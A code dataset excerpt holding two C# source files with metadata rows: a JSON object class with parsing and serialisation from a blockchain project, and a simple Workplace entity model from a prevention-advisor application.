namespace Cam.IO.Json
{
public class JObject
{
public static readonly JObject Null = null;
private Dictionary<string, JObject> properties = new Dictionary<string, JObject>();
public JObject this[string name]
{
get
{
properties.TryGetValue(name, out JObject value);
return value;
}
set
{
properties[name] = value;
}
}
public IReadOnlyDictionary<string, JObject> Properties => properties;
public virtual bool AsBoolean()
{
return true;
}
public virtual double AsNumber()
{
return double.NaN;
}
public virtual string AsString()
{
return "[object Object]";
}
public bool ContainsProperty(string key)
{
return properties.ContainsKey(key);
}
public static JObject Parse(TextReader reader, int max_nest = 100)
{
if (max_nest < 0) throw new FormatException();
SkipSpace(reader);
char firstChar = (char)reader.Peek();
if (firstChar == '\"' || firstChar == '\'')
{
return JString.Parse(reader);
}
if (firstChar == '[')
{
return JArray.Parse(reader, max_nest);
}
if ((firstChar >= '0' && firstChar <= '9') || firstChar == '-')
{
return JNumber.Parse(reader);
}
if (firstChar == 't' || firstChar == 'f')
{
return JBoolean.Parse(reader);
}
if (firstChar == 'n')
{
return ParseNull(reader);
}
if (reader.Read() != '{') throw new FormatException();
SkipSpace(reader);
JObject obj = new JObject();
while (reader.Peek() != '}')
{
if (reader.Peek() == ',') reader.Read();
SkipSpace(reader);
string name = JString.Parse(reader).Value;
SkipSpace(reader);
if (reader.Read() != ':') throw new FormatException();
JObject value = Parse(reader, max_nest - 1);
obj.properties.Add(name, value);
SkipSpace(reader);
}
reader.Read();
return obj;
}
public static JObject Parse(string value, int max_nest = 100)
{
using (StringReader reader = new StringReader(value))
{
return Parse(reader, max_nest);
}
}
private static JObject ParseNull(TextReader reader)
{
char firstChar = (char)reader.Read();
if (firstChar == 'n')
{
int c2 = reader.Read();
int c3 = reader.Read();
int c4 = reader.Read();
if (c2 == 'u' && c3 == 'l' && c4 == 'l')
{
return null;
}
}
throw new FormatException();
}
protected static void SkipSpace(TextReader reader)
{
while (reader.Peek() == ' ' || reader.Peek() == '\t' || reader.Peek() == '\r' || reader.Peek() == '\n')
{
reader.Read();
}
}
public override string ToString()
{
StringBuilder sb = new StringBuilder();
sb.Append('{');
foreach (KeyValuePair<string, JObject> pair in properties)
{
sb.Append('"');
sb.Append(pair.Key);
sb.Append('"');
sb.Append(':');
if (pair.Value == null)
{
sb.Append("null");
}
else
{
sb.Append(pair.Value);
}
sb.Append(',');
}
if (properties.Count == 0)
{
sb.Append('}');
}
else
{
sb[sb.Length - 1] = '}';
}
return sb.ToString();
}
public virtual T TryGetEnum<T>(T defaultValue = default, bool ignoreCase = false) where T : Enum
{
return defaultValue;
}
public static implicit operator JObject(Enum value)
{
return new JString(value.ToString());
}
public static implicit operator JObject(JObject[] value)
{
return new JArray(value);
}
public static implicit operator JObject(bool value)
{
return new JBoolean(value);
}
public static implicit operator JObject(double value)
{
return new JNumber(value);
}
public static implicit operator JObject(string value)
{
return value == null ? null : new JString(value);
}
}
}
| 28.075676 | 115 | 0.443781 | [
"MIT"
] | camchain/CAM | cam/IO/Json/JObject.cs | 5,196 | C# |
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Threading.Tasks;
namespace PreventionAdvisor.Models
{
public class Workplace
{
[DatabaseGenerated(DatabaseGeneratedOption.Identity)]
[Key]
public Guid Id { get; set; }
public Organization Organization { get; set; }
public String ProjectNumber { get; set; }
public Address Address { get; set; }
public String Title { get; set; }
public String ProjectLead { get; set; }
public String ProjectController { get; set; }
public String Description { get; set; }
}
}
| 29.2 | 61 | 0.679452 | [
"Apache-2.0"
] | niekvandael/WorkplacesToolChain | src/PreventionAdvisor/Models/Workplace.cs | 732 | C# |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.